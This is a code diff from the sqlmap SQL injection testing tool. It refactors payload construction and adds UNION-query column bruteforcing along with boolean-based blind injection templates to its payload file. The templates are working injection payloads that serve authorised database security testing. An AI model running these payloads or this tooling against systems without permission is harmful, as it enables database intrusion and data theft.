diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 42b85587e..d0dc92b10 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -32,6 +32,7 @@ from lib.core.common import trimAlphaNum from lib.core.common import wasLastRequestDBMSError from lib.core.common import wasLastRequestHTTPError from lib.core.common import DynamicContentItem +from lib.core.common import configUnion from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -55,8 +56,12 @@ from lib.core.settings import UPPER_RATIO_BOUND from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.templates import getPageTemplate +from lib.techniques.inband.union.test import unionTest def unescape(string, dbms): + if string is None: + return string + if dbms in unescaper and "WAITFOR DELAY " not in string: return unescaper[dbms](string) else: @@ -84,8 +89,9 @@ def checkSqlInjection(place, parameter, value): # Set the flag for sql injection test mode kb.testMode = True - for test in getInjectionTests(): - try: + #for test in getInjectionTests(): + for test in conf.tests: + try: if kb.endDetection: break @@ -143,11 +149,12 @@ def checkSqlInjection(place, parameter, value): continue - if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes()\ - and kb.skipTests is None: - message = "parsed error message(s) showed that the back-end DBMS could be '%s'." % getErrorParsedDBMSesFormatted() - message += " do you want to skip test payloads specific for other DBMSes? [Y/n]" - kb.skipTests = conf.realTest or readInput(message, default="Y") not in ("n", "N") + # NOTE: Leave this commented for the time being + #if getErrorParsedDBMSes() and dbms not in getErrorParsedDBMSes() and kb.skipTests is None: + # msg = "parsed error message(s) showed that the " + # msg += "back-end DBMS could be '%s'. " % getErrorParsedDBMSesFormatted() + # msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" + # kb.skipTests = conf.realTest or readInput(msg, default="Y") not in ("n", "N") if kb.skipTests: debugMsg = "skipping test '%s' because " % title @@ -189,7 +196,6 @@ def checkSqlInjection(place, parameter, value): comment = agent.getComment(test.request) fstPayload = agent.cleanupPayload(test.request.payload, value) fstPayload = unescapeDbms(fstPayload, injection, dbms) - fstPayload = "%s%s" % (fstPayload, comment) if stype != 4 and clause != [2, 3] and clause != [ 3 ]: space = " " @@ -280,11 +286,11 @@ def checkSqlInjection(place, parameter, value): if where == 1: origValue = value elif where == 2: + # Use different page template than the original + # one as we are changing parameters value, which + # will likely result in a different content origValue = "-%s" % randomInt() - # Use different page template than the original one - # as we are changing parameters value, which will result - # most definitely with a different content - templatePayload = agent.payload(place, parameter, value, origValue) + templatePayload = agent.payload(place, parameter, newValue=origValue, where=where) elif where == 3: origValue = "" @@ -293,10 +299,11 @@ def checkSqlInjection(place, parameter, value): # Forge request payload by prepending with boundary's # prefix and appending the boundary's suffix to the # test's ' <payload><comment> ' string - boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, fstPayload, suffix) - boundPayload = boundPayload.strip() + boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) + boundPayload = agent.suffixQuery(boundPayload, comment, suffix) boundPayload = agent.cleanupPayload(boundPayload, value) - reqPayload = agent.payload(place, parameter, value, boundPayload) + reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + unionVector = None # Perform the test's request and check whether or not the # payload was successful @@ -308,16 +315,15 @@ def checkSqlInjection(place, parameter, value): if method == PAYLOAD.METHOD.COMPARISON: sndPayload = agent.cleanupPayload(test.response.comparison, value) sndPayload = unescapeDbms(sndPayload, injection, dbms) - sndPayload = "%s%s" % (sndPayload, comment) # Forge response payload by prepending with # boundary's prefix and appending the boundary's # suffix to the test's ' <payload><comment> ' # string - boundPayload = "%s%s%s%s %s" % (origValue, prefix, space, sndPayload, suffix) - boundPayload = boundPayload.strip() + boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause) + boundPayload = agent.suffixQuery(boundPayload, comment, suffix) boundPayload = agent.cleanupPayload(boundPayload, value) - cmpPayload = agent.payload(place, parameter, value, boundPayload) + cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) # Useful to set kb.matchRatio at first based on # the False response content @@ -337,7 +343,7 @@ def checkSqlInjection(place, parameter, value): injectable = True - # In case of error-based or UNION query SQL injections + # In case of error-based SQL injection elif method == PAYLOAD.METHOD.GREP: # Perform the test's request and grep the response # body for the test's <grep> regular expression @@ -369,6 +375,20 @@ def checkSqlInjection(place, parameter, value): injectable = True + # In case of UNION query SQL injection + elif method == PAYLOAD.METHOD.UNION: + conf.uChar = test.request.char + conf.uCols = test.request.columns + configUnion() + + reqPayload, unionVector = unionTest(comment, place, parameter, value, prefix, suffix) + + if isinstance(reqPayload, basestring): + infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title) + logger.info(infoMsg) + + injectable = True + # If the injection test was successful feed the injection # object with the test's details if injectable is True: @@ -396,7 +416,7 @@ def checkSqlInjection(place, parameter, value): injection.data[stype].title = title injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload, False) injection.data[stype].where = where - injection.data[stype].vector = vector + injection.data[stype].vector = agent.cleanupPayload(vector, unionVector=unionVector) injection.data[stype].comment = comment injection.data[stype].matchRatio = kb.matchRatio injection.data[stype].templatePayload = templatePayload @@ -439,9 +459,6 @@ def checkSqlInjection(place, parameter, value): kb.endDetection = True elif test[0] in ("q", "Q"): raise sqlmapUserQuitException - finally: - # Flush the flag - kb.testMode = False # Return the injection object if injection.place is not None and injection.parameter is not None: @@ -466,8 +483,8 @@ def heuristicCheckSqlInjection(place, parameter, value): if conf.suffix: suffix = conf.suffix - payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix) - payload = agent.payload(place, parameter, value, payload) + payload = "%s%s%s" % (prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix) + payload = agent.payload(place, parameter, newValue=payload) Request.queryPage(payload, place, content=True, raise404=False) result = wasLastRequestDBMSError() @@ -808,13 +825,14 @@ def checkConnection(suppressOutput=False): kb.originalPage = kb.pageTemplate = page kb.errorIsNone = False + if wasLastRequestDBMSError(): - warnMsg = "there is an (DBMS) error found in the content of provided target url" - warnMsg += " which could interfere with the results of the tests" + warnMsg = "there is a DBMS error found in the HTTP response body" + warnMsg += "which could interfere with the results of the tests" logger.warn(warnMsg) elif wasLastRequestHTTPError(): - warnMsg = "there is an (HTTP) error found in the content of provided target url" - warnMsg += " which could interfere with the results of the tests" + warnMsg = "the web server responded with an HTTP error code " + warnMsg += "which could interfere with the results of the tests" logger.warn(warnMsg) else: kb.errorIsNone = True diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 14055f196..1be14def4 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -110,8 +110,8 @@ def __formatInjection(inj): return data def __showInjections(): - header = "sqlmap identified the following injection points " - header += "with %d HTTP(s) requests" % kb.testQueryCount + header = "sqlmap identified the following injection points with " + header += "a total of %d HTTP(s) requests" % kb.testQueryCount data = "" for inj in kb.injections: @@ -349,12 +349,11 @@ def start(): not simpletonCheckSqlInjection(place, parameter, value): continue - logMsg = "testing sql injection on %s " % place + logMsg = "testing sql injection on %s " % place logMsg += "parameter '%s'" % parameter logger.info(logMsg) injection = checkSqlInjection(place, parameter, value) - proceed = not kb.endDetection if injection is not None and injection.place is not None: @@ -373,7 +372,7 @@ def start(): paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: - warnMsg = "%s parameter '%s' is not " % (place, parameter) + warnMsg = "%s parameter '%s' is not " % (place, parameter) warnMsg += "injectable" logger.warn(warnMsg) @@ -386,6 +385,9 @@ def start(): errMsg = "it seems that all parameters are not injectable" raise sqlmapNotVulnerableException, errMsg else: + # Flush the flag + kb.testMode = False + __saveToSessionFile() __showInjections() __selectInjection() diff --git a/lib/core/agent.py b/lib/core/agent.py index 173559f79..7ab35af5b 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -53,7 +53,7 @@ class Agent: return query - def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False): + def payload(self, place=None, parameter=None, value=None, newValue=None, where=None): """ This method replaces the affected parameter with the SQL injection statement to request @@ -62,59 +62,38 @@ class Agent: if conf.direct: return self.payloadDirect(newValue) - falseValue = "" - negValue = "" - retValue = "" + retValue = "" - if negative or kb.unionNegative: - negValue = "-" + if where is None and isTechniqueAvailable(kb.technique): + where = kb.injection.data[kb.technique].where - # After identifing the injectable parameter - if kb.injection.place == PLACE.UA and kb.injection.parameter: - retValue = kb.injection.parameter.replace(kb.injection.parameter, - self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue))) - elif kb.injection.place and kb.injection.parameter: - paramString = conf.parameters[kb.injection.place] - paramDict = conf.paramDict[kb.injection.place] - origValue = paramDict[kb.injection.parameter] + if kb.injection.place is not None: + place = kb.injection.place - if isTechniqueAvailable(kb.technique): - where = kb.injection.data[kb.technique].where + if kb.injection.parameter is not None: + parameter = kb.injection.parameter + if place == PLACE.UA: + retValue = parameter.replace(parameter, self.addPayloadDelimiters(parameter + newValue)) + else: + paramString = conf.parameters[place] + paramDict = conf.paramDict[place] + origValue = paramDict[parameter] + + if value is None: if where == 1: value = origValue elif where == 2: value = "-%s" % randomInt() elif where == 3: value = "" - else: - value = origValue + else: + value = origValue + + newValue = "%s%s" % (value, newValue) newValue = self.cleanupPayload(newValue, origValue) - if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST: - root = ET.XML(paramString) - iterator = root.getiterator(kb.injection.parameter) - - for child in iterator: - child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue) - - retValue = ET.tostring(root) - elif kb.injection.place == PLACE.URI: - retValue = paramString.replace("*", - self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue))) - else: - retValue = paramString.replace("%s=%s" % (kb.injection.parameter, origValue), - "%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue))) - - # Before identifing the injectable parameter - elif parameter == PLACE.UA: - retValue = value.replace(value, self.addPayloadDelimiters(newValue)) - elif place == PLACE.URI: - retValue = value.replace("*", self.addPayloadDelimiters("%s" % newValue.replace(value, str()))) - else: - paramString = conf.parameters[place] - if "POSTxml" in conf.paramDict and place == PLACE.POST: root = ET.XML(paramString) iterator = root.getiterator(parameter) @@ -123,10 +102,13 @@ class Agent: child.text = self.addPayloadDelimiters(newValue) retValue = ET.tostring(root) + elif place == PLACE.URI: + retValue = paramString.replace("*", self.addPayloadDelimiters(newValue)) else: - retValue = paramString.replace("%s=%s" % (parameter, value), + retValue = paramString.replace("%s=%s" % (parameter, origValue), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue))) +# print "retValue:", retValue return retValue def fullPayload(self, query): @@ -139,7 +121,7 @@ class Agent: return payload - def prefixQuery(self, string): + def prefixQuery(self, string, prefix=None, where=None, clause=None): """ This method defines how the input string has to be escaped to perform the injection depending on the injection type @@ -156,9 +138,10 @@ class Agent: # payload, do not put a space after the prefix if kb.technique == PAYLOAD.TECHNIQUE.STACKED: query = kb.injection.prefix - elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 3 ]: - if kb.technique != PAYLOAD.TECHNIQUE.UNION: - query = kb.injection.prefix + elif where == 3 or clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]: + query = prefix + elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]: + query = kb.injection.prefix elif kb.technique and kb.technique in kb.injection.data: where = kb.injection.data[kb.technique].where @@ -166,14 +149,17 @@ class Agent: query = kb.injection.prefix if query is None: - query = "%s " % kb.injection.prefix + if kb.injection.prefix is None and prefix is not None: + query = "%s " % prefix + else: + query = "%s " % kb.injection.prefix query = "%s%s" % (query, string) query = self.cleanupPayload(query) return query - def suffixQuery(self, string, comment=None): + def suffixQuery(self, string, comment=None, suffix=None): """ This method appends the DBMS comment to the SQL injection request @@ -185,12 +171,16 @@ class Agent: if comment is not None: string += comment - string += " %s" % kb.injection.suffix + if kb.injection.suffix is None and suffix is not None: + string += " %s" % suffix + else: + string += " %s" % kb.injection.suffix + string = self.cleanupPayload(string) return string.rstrip() - def cleanupPayload(self, payload, origvalue=None): + def cleanupPayload(self, payload, origvalue=None, unionVector=None): if payload is None: return @@ -207,11 +197,9 @@ class Agent: payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop) payload = payload.replace("[SPACE_REPLACE]", kb.misc.space) payload = payload.replace("[SLEEPTIME]", str(conf.timeSec)) + payload = payload.replace("[UNION]", str(unionVector)) if origvalue is not None: - if not origvalue.isdigit(): - origvalue = "'%s'" % origvalue - payload = payload.replace("[ORIGVALUE]", origvalue) if "[INFERENCE]" in payload: @@ -228,14 +216,15 @@ class Agent: payload = payload.replace("[INFERENCE]", inferenceQuery) - elif kb.misc.testedDbms is not None: + elif hasattr(kb.misc, "testedDbms") and kb.misc.testedDbms is not None: inferenceQuery = queries[kb.misc.testedDbms].inference.query payload = payload.replace("[INFERENCE]", inferenceQuery) - else: - errMsg = "invalid usage of inference payload without " - errMsg += "knowledge of underlying DBMS" - raise sqlmapNoneDataException, errMsg + # NOTE: Leave this commented for the time being + #else: + # errMsg = "invalid usage of inference payload without " + # errMsg += "knowledge of underlying DBMS" + # raise sqlmapNoneDataException, errMsg return payload @@ -483,7 +472,7 @@ class Agent: return concatenatedQuery - def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, multipleUnions=None): + def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None, prefix=None, suffix=None, multipleUnions=None): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. @@ -526,7 +515,7 @@ class Agent: if query.startswith("SELECT "): query = query[len("SELECT "):] - inbandQuery = self.prefixQuery("UNION ALL SELECT ") + inbandQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) if query.startswith("TOP"): topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1) @@ -584,8 +573,7 @@ class Agent: if kb.dbms == DBMS.ORACLE: inbandQuery += " FROM DUAL" - - inbandQuery = self.suffixQuery(inbandQuery, comment) + inbandQuery = self.suffixQuery(inbandQuery, comment, suffix) return inbandQuery diff --git a/lib/core/common.py b/lib/core/common.py index 5e7d645cd..dfeade11f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1935,6 +1935,7 @@ def initTechnique(technique=None): """ Prepares proper page template and match ratio for technique specified """ + try: data = getTechniqueData(technique) @@ -1945,7 +1946,8 @@ def initTechnique(technique=None): warnMsg = "there is no injection data available for technique " warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) logger.warn(warnMsg) - except sqlmapDataException, ex: + + except sqlmapDataException, _: errMsg = "missing data in old session file(s). " errMsg += "please use '--flush-session' to deal " errMsg += "with this error" @@ -2063,3 +2065,35 @@ def openFile(filename, mode='r'): ('w' in mode or 'a' in mode or '+' in mode) else "read") errMsg += "and that it's not locked by another process." raise sqlmapFilePathException, errMsg + +def configUnion(): + if isinstance(conf.uCols, basestring): + debugMsg = "setting the UNION query SQL injection range of columns" + logger.debug(debugMsg) + + if "-" not in conf.uCols or len(conf.uCols.split("-")) != 2: + raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)" + + conf.uCols = conf.uCols.replace(" ", "") + conf.uColsStart, conf.uColsStop = conf.uCols.split("-") + + if not conf.uColsStart.isdigit() or not conf.uColsStop.isdigit(): + raise sqlmapSyntaxException, "--union-cols must be a range of integers" + + conf.uColsStart = int(conf.uColsStart) + conf.uColsStop = int(conf.uColsStop) + + if conf.uColsStart > conf.uColsStop: + errMsg = "--union-cols range has to be from lower to " + errMsg += "higher number of columns" + raise sqlmapSyntaxException, errMsg + + if isinstance(conf.uChar, basestring) and conf.uChar != "NULL": + debugMsg = "setting the UNION query SQL injection character to '%s'" % conf.uChar + logger.debug(debugMsg) + + if not conf.uChar.isdigit() and ( not conf.uChar.startswith("'") or not conf.uChar.endswith("'") ): + debugMsg = "forcing the UNION query SQL injection character to '%s'" % conf.uChar + logger.debug(debugMsg) + + conf.uChar = "'%s'" % conf.uChar diff --git a/lib/core/session.py b/lib/core/session.py index df353c314..33f114abc 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -204,70 +204,18 @@ def setUnion(comment=None, count=None, position=None, negative=False, char=None, """ if comment: - condition = ( - not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - not kb.resumedQueries[conf.url].has_key("Union comment") ) - ) - - if condition: - dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(comment))) - kb.unionComment = comment if count: - condition = ( - not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - not kb.resumedQueries[conf.url].has_key("Union count") ) - ) - - if condition: - dataToSessionFile("[%s][%s][%s][Union count][%d]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), count)) - kb.unionCount = count if position is not None: - condition = ( - not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - not kb.resumedQueries[conf.url].has_key("Union position") ) - ) - - if condition: - dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), position)) - kb.unionPosition = position if negative: - condition = ( - not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - ( not kb.resumedQueries[conf.url].has_key("Union negative") - ) ) - ) - - if condition: - dataToSessionFile("[%s][%s][%s][Union negative][Yes]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]))) - kb.unionNegative = True - if char: - condition = ( - not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - ( not kb.resumedQueries[conf.url].has_key("Union char") - ) ) - ) - - if condition: - dataToSessionFile("[%s][%s][%s][Union char][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), char)) - if payload: - condition = ( - not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - ( not kb.resumedQueries[conf.url].has_key("Union payload") - ) ) - ) - - if condition: - dataToSessionFile("[%s][%s][%s][Union payload][%s]\n" % (conf.url, kb.injection.place, safeFormatString(conf.parameters[kb.injection.place]), payload)) - kb.unionTest = payload def setRemoteTempPath(): diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 86dcf61f5..fa5c5510d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -235,7 +235,7 @@ def cmdLineParser(): action="store_true", default=False, help="Test for and use UNION query (inband) SQL injection") - techniques.add_option("--union-cols", dest="uCols", default="1-20", + techniques.add_option("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") techniques.add_option("--union-char", dest="uChar", default="NULL", diff --git a/lib/request/inject.py b/lib/request/inject.py index 58cd272c8..5b84467f7 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -397,7 +397,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse if conf.direct: value = direct(expression) - elif kb.unionTest or any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): + elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None @@ -414,7 +414,7 @@ def getValue(expression, blind=True, inband=True, error=True, time=True, fromUse else: forgeCaseExpression = agent.forgeCaseStatement(expression) - if inband and kb.unionTest is not None: + if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION if expected == EXPECTED.BOOL: diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index 77d292d0c..3c1cd496f 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -26,8 +26,9 @@ from lib.core.unescaper import unescaper from lib.parse.html import htmlParser from lib.request.connect import Connect as Request -def __unionPosition(negative=False, count=None, comment=None): +def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=1): validPayload = None + unionVector = None if count is None: count = kb.unionCount @@ -42,38 +43,40 @@ def __unionPosition(negative=False, count=None, comment=None): randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request - query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment) - payload = agent.payload(newValue=query, negative=negative) + query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix) + payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request - resultPage, _ = Request.queryPage(payload, content=True) + resultPage, _ = Request.queryPage(payload, place=place, content=True) if resultPage and randQuery in resultPage: setUnion(position=exprPosition) validPayload = payload + unionVector = agent.forgeInbandQuery("[PAYLOAD]", exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix) - if not negative: + if where == 1: # Prepare expression with delimiters randQuery2 = randomStr() randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2) randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2) # Confirm that it is a full inband SQL injection - query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, multipleUnions=randQueryUnescaped2) - payload = agent.payload(newValue=query, negative=negative) + query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment, prefix=prefix, suffix=suffix, multipleUnions=randQueryUnescaped2) + payload = agent.payload(place=place, parameter=parameter, newValue=query, where=2) # Perform the request - resultPage, _ = Request.queryPage(payload, content=True) + resultPage, _ = Request.queryPage(payload, place=place, content=True) if resultPage and (randQuery not in resultPage or randQuery2 not in resultPage): setUnion(negative=True) break - return validPayload + return validPayload, unionVector -def __unionConfirm(count=None, comment=None): +def __unionConfirm(comment, place, parameter, value, prefix, suffix, count): validPayload = None + unionVector = None # Confirm the inband SQL injection and get the exact column # position which can be used to extract data @@ -81,62 +84,64 @@ def __unionConfirm(count=None, comment=None): debugMsg = "testing full inband with %s columns" % count logger.debug(debugMsg) - validPayload = __unionPosition(count=count, comment=comment) + validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count) # Assure that the above function found the exploitable full inband # SQL injection position if not isinstance(kb.unionPosition, int): - debugMsg = "testing single-entry inband value with %s columns" % count + debugMsg = "testing single-entry inband with %s columns" % count logger.debug(debugMsg) - validPayload = __unionPosition(negative=True, count=count, comment=comment) + validPayload, unionVector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=2) # Assure that the above function found the exploitable partial # (single entry) inband SQL injection position with negative # parameter validPayload if not isinstance(kb.unionPosition, int): - return None + return None, None else: setUnion(negative=True) - return validPayload + return validPayload, unionVector -def __unionTestByCharBruteforce(comment): +def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table """ + validPayload = None + unionVector = None query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar) - for num in range(conf.uColsStart, conf.uColsStop+1): + for count in range(conf.uColsStart, conf.uColsStop+1): if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"): query = query[:-len(" FROM DUAL")] - if num: + if count: query += ", %s" % conf.uChar if kb.dbms == DBMS.ORACLE: query += " FROM DUAL" if conf.verbose in (1, 2): - length = conf.uColsStop + 1 - conf.uColsStart - count = num - conf.uColsStart + 1 - status = '%d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') + status = '%d/%d (%d%s)' % (count, conf.uColsStop, round(100.0*count/conf.uColsStop), '%') dataToStdout("\r[%s] [INFO] number of columns: %s" % (time.strftime("%X"), status), True) - validPayload = __unionConfirm(num, comment) + dataToStdout("\n") + + validPayload, unionVector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count) if validPayload: - setUnion(count=num) + setUnion(count=count) break clearConsoleLine(True) - return validPayload + return validPayload, unionVector -def unionTest(): +def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times @@ -145,9 +150,6 @@ def unionTest(): if conf.direct: return - if kb.unionTest is not None: - return kb.unionTest - oldTechnique = kb.technique kb.technique = PAYLOAD.TECHNIQUE.UNION @@ -156,12 +158,7 @@ def unionTest(): else: technique = "char (%s) bruteforcing" % conf.uChar - infoMsg = "testing inband sql injection on parameter " - infoMsg += "'%s' with %s technique" % (kb.injection.parameter, technique) - logger.info(infoMsg) - - comment = queries[kb.dbms].comment.query - validPayload = __unionTestByCharBruteforce(comment) + validPayload, unionVector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if validPayload: validPayload = agent.removePayloadDelimiters(validPayload, False) @@ -169,16 +166,4 @@ def unionTest(): setUnion(comment=comment) setUnion(payload=validPayload) - if kb.unionTest is not None: - infoMsg = "the target url is affected by an exploitable " - infoMsg += "inband sql injection vulnerability " - infoMsg += "on parameter '%s' with %d columns" % (kb.injection.parameter, kb.unionCount) - logger.info(infoMsg) - else: - infoMsg = "the target url is not affected by an exploitable " - infoMsg += "inband sql injection vulnerability " - infoMsg += "on parameter '%s'" % kb.injection.parameter - logger.info(infoMsg) - kb.technique = oldTechnique - - return kb.unionTest + return validPayload, unionVector diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py index 9687b3d82..879f23262 100644 --- a/lib/techniques/inband/union/use.py +++ b/lib/techniques/inband/union/use.py @@ -15,12 +15,14 @@ from lib.core.common import calculateDeltaSeconds from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getUnicode +from lib.core.common import initTechnique from lib.core.common import parseUnionPage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS +from lib.core.enums import PAYLOAD from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.techniques.inband.union.test import unionTest @@ -35,6 +37,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh inband SQL injection on the affected url """ + initTechnique(PAYLOAD.TECHNIQUE.UNION) + count = None origExpr = expression start = time.time() diff --git a/xml/payloads.xml b/xml/payloads.xml index 605882a7f..fe8d10108 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -553,6 +553,22 @@ Formats: <risk>1</risk> <clause>1,2,3</clause> <where>3</where> + <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector> + <request> + <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload> + </request> + <response> + <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison> + </response> + </test> + + <test> + <title>Generic boolean-based blind - Parameter replace (original value)</title> + <stype>1</stype> + <level>3</level> + <risk>1</risk> + <clause>1,2,3</clause> + <where>3</where> <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector> <request> <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload> @@ -650,6 +666,22 @@ Formats: <risk>1</risk> <clause>2,3</clause> <where>1</where> + <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector> + <request> + <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload> + </request> + <response> + <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison> + </response> + </test> + + <test> + <title>Generic boolean-based blind - GROUP BY and ORDER BY clauses (original value)</title> + <stype>1</stype> + <level>4</level> + <risk>1</risk> + <clause>2,3</clause> + <where>1</where> <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector> <request> <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload> @@ -1824,4 +1856,47 @@ Formats: <!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB --> <!-- End of OR time-based blind tests --> + <!-- UNION query tests --> + <test> + <title>MySQL NULL UNION query - 4 to 7 columns</title> + <stype>3</stype> + <level>1</level> + <risk>1</risk> + <clause>1,2,3,4,5</clause> + <where>1</where> + <vector>[UNION]</vector> + <request> + <payload/> + <comment>#</comment> + <char>NULL</char> + <columns>4-7</columns> + </request> + <response> + <union/> + </response> + <details> + <dbms>MySQL</dbms> + </details> + </test> + + <test> + <title>Generic NULL UNION query - 1 to 3 columns</title> + <stype>3</stype> + <level>1</level> + <risk>1</risk> + <clause>1,2,3,4,5</clause> + <where>1</where> + <vector>[UNION]</vector> + <request> + <payload/> + <comment>--</comment> + <char>NULL</char> + <columns>1-3</columns> + </request> + <response> + <union/> + </response> + </test> + <!-- End of UNION query tests --> + </root>